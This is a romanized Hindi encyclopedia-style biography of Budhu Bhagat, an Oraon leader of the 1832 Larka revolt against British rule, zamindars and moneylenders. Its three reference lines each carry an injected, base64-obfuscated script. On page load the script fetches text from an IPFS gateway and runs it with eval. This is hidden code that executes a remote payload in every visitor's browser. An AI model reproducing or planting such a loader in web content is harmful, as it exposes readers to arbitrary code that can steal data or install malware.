बुधु भगत
budhu bhagat
| |
| poora nam | budhu bhagat |
| janm | 17 faravari, 1792 ee. |
| janm bhoomi | raanchi, jharakhand |
| nagarikata | bharatiy |
| prasiddhi | kraantikari |
| aandolan | laraka aandolan |
| any janakari | budhu bhagat ne apane daste ko gurilla yuddh ke lie prashikshit kiya tha. unhean pak dane ke lie aangrez sarakar ne ek hazar rupaye inam ki ghoshana kar di thi. |
budhu bhagat athava 'budu bhagat' (aangrezi: Budhu Bhagat, janm- 17 faravari, 1792 ee., raanchi, jharakhand; mrityu- 13 faravari, 1832 ee.) bharatiy itihas mean prasiddh kraantikari ke roop mean jane jate haian. inaki l daee aangrezoan, zamiandaroan tatha sahookaroan dvara kie ja rahe atyachar aur anyay ke viruddh thi.
janm
budhu bhagat ka janm aj ke jharakhand rajy mean raanchi zile ke silagaee namak gram mean 17 faravari, san 1792 ee. ko hua tha. kaha jata hai ki unhean daiviy shaktiyaan prapt thian, jisake pratikasvaroop ve ek kulha di sada apane sath rakhate the.[1]
balyakal
amataur par 1857 ko hi svatantrata sangram ka pratham samar mana jata hai. lekin isase isase poorv hi vir budhu bhagat ne n sirf kranti ka shankhanad kiya tha, balki apane sahas v netritv kshamata se 1832 ee. mean "laraka vidroh" namak aitihasik andolan ka sootrapatr bhi kiya.[2] chhota nagapur ke adivasi ilakoan mean aangrez hukoomat ke dauran barbarata charam par thi. mundaoan ne zamiandaroan, sahookaroan ke viruddh pahale se hi bhishan vidroh chhe d rakha tha. uraanvoan ne bhi bagi tevar apana liye. budhu bhagat bachapan se hi jamiandaroan aur aangrezi sena ki kroorata dekhate aye the. unhoanne dekha tha ki kis tarah taiyar fasal zamiandar jabaradasti utha le jate the. garib gaanv valoan ke ghar kee-kee dinoan tak choolha nahian jal pata tha. balak budhu bhagat silagaee ki koyal nadi ke kinare ghantoan baithakar aangrezoan aur jamiandaroan ko bhagane ke bare mean sochate rahate the.[3]
vidroh
ghantoan ekaant mean baithe rahane, talavar aur dhanush-ban chalane mean parangat hone ke karan logoan ne budhu ko devadoot samajh liya. tejasvi yuvak budhu ki b di-b di batean sunakar adivasiyoan ne unhean apana uddharakarta manana prarambh kar diya. vidroh ke lie budhu ke pas ab paryapt jan samarthan tha. unhoanne anyay ke viruddh bagavat ka ahvan kiya. hazaroan hath tir, dhanush, talavar, kulha di ke sath uth kh de hue. kaiptan ianpe dvara bandi banae ge saik doan graminoan ko vidrohiyoan ne l dakar mukt kara liya. apane daste ko budhu ne gurilla yuddh ke lie prashikshit kiya. ghane jangaloan aur durgam paha diyoan ka phayada uthakar kee bar aangrezi sena ko parast kiya. budhu ko pak dane ke lie aangrez sarakar ne ek hazar rupaye inam ki ghoshana kar di thi.
aangrezoan se sangharsh
hazaroan logoan ke hathiyaraband vidroh se aangrez sarakar aur zamiandar kaanp uthe. budhu bhagat ko pak dane ka kam kaiptan ianpe ko sauanpa gaya. banaras ki pachasavian desi paidal sena ki chhah kanpani aur ghu dasavar sainikoan ka ek b da dal jangal mean bhej diya gaya. tikoo aur asapas ke gaanvoan se hazaroan graminoan ko giraftar kar liya gaya. budhu ke daste ne ghati mean hi bandiyoan ko mukt kara liya. karari shikast se kaiptan baukhala gaya.
shahadat
13 faravari, san 1832 ee. ko budhu aur unake sathiyoan ko kaiptan ianpe ne silagaanee gaanv mean gher liya. budhu atm samarpan karana chahate the, jisase aangrezoan ki or se ho rahi aandhadhuandh golibari mean nirdosh gramin n mare jaean. lekin budhu ke bhaktoan ne vritakar ghera banakar unhean gher liya. chetavani ke bad kaiptan ne goli chalane ka adesh de diya. aandhadhuandh goliyaan chalane lagian. boodhe, bachchoan, mahilaoan aur yuvaoan ke bhishan chitkar se ilaka kaanp utha. us khooni taandav mean karib 300 gramin mare ge. anyay ke viruddh jan vidroh ko hathiyar ke bal par jabaran khamosh kar diya gaya. budhu bhagat tatha unake bete 'haladhar' aur 'giradhar' bhi aangrezoan se loha lete hue shahid ho ge.[3]
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tika tippani aur sandarbh
- ↑ jharakhand ke vibhooti (hindi) sanvad. abhigaman tithi: 28 mee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ svatantry sangram ka ek aur mahatvapoorn paksh janajatiy netritv ne di thi british sarakar ko chunauti (hindi) panchajanya.k aaum. abhigaman tithi: 28 mee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 koyal kinare budhu bhagat ki bagavat (hindi) diva svapn. abhigaman tithi: 28 mee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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